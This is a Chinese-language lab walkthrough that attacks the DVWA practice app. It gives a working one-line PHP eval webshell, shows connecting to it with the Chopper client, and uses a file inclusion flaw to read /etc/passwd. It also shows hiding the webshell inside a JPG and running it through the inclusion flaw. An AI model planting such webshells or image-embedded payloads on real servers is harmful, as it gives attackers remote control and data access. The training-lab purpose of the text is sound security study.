1.DVWA文件上传(File Upload)
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
关于$_FILES函数的简单介绍
第一个参数是表单的input name ,第二个下标可以是"name","type","size","tmp_name"或"error"。就像这样:
$_FILES["file"]["name"] 被上传文件的名称
$_FILES["file"]["type"] 被上传文件的类型
$_FILES["file"]["size"] 被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] 由文件上传导致的错误代码
对文件类型简单限制的方式:
$_FILES["file"]["type"] == "image/png"
在DVWA中,将webshell.php上传到/var/www/html/DVWA-1.9/hackable/uploads/webshell.php

2.webshell.php
<?php @eval($_POST[wgxy]);?>
一句话木马的代码格式:@eval($_POST[wgxy]);
eval()函数把字符串按照PHP代码来计算。字符串可以通过$_POST获取代码。wgxy为密码。
3.使用菜刀进行连接
caidao-20160622
caidao.exe
添加:http://192.168.112.100/DVWA-1.9/hackable/uploads/webshell.php
wgxy
PHP(Eval)
(1)可以上传下载文件

(2)连接数据库

(3)虚拟终端

[/var/www/html/]$ ss -antup
[/var/www/html/]$ id
ls
pwd
配置Win7中的Chrome ,使用代理上网:
局域网(LAN)设置,127.0.0.1,8080
不勾选:对于本地地址不使用代理服务器
文件包含漏洞:
http://192.168.112.100/DVWA-1.9/vulnerabilities/fi/?page=file1.php
改file1.php为file:////etc/passwd
http://192.168.112.100/DVWA-1.9/vulnerabilities/fi/?page=file:////etc/passwd
页面中加载了passwd文件,那么我们可以上传一个带有php一句话木马代码的jpg图片。上传成功后,使用菜刀进行连接。
把图片+代码合在一起。最终看到还是一个图片,只是这个图片中有代码。
上传一个带有代码的jpg图片
以文件包含漏洞来执行图片中的php代码
上传图片文件到Kali中,将一句话木马追加到图片中:
# mimetype webshell.php
webshell.php: application/x-php
# mimetype wgxy.jpg
wgxy.jpg: image/jpeg
Windows中通过文件名后缀来识别文件类型,但是Linux中文件名后缀并不根据文件后缀来直接识别文件类型,一般是通过文件头来进行识别。
# cp webshell.php webshell.jpg
# mimetype webshell.jpg
webshell.jpg: application/x-php
可以看到我们更改文件后缀为图片类型但是识别到的还是php文件类型
所以我们通过将php代码合并到图片中来进行隐藏。
# cat webshell.php >> wgxy.jpg
# vim wgxy.jpg
按大写的G直接跳转到文件末尾
http://192.168.112.100/DVWA-1.9/vulnerabilities/fi/?page=file:///var/www/html/DVWA-1.9/hackable/uploads/wgxy.jpg
HackBar中,我们要以Post方式给变量wgxy提交数据:wgxy=phpinfo();


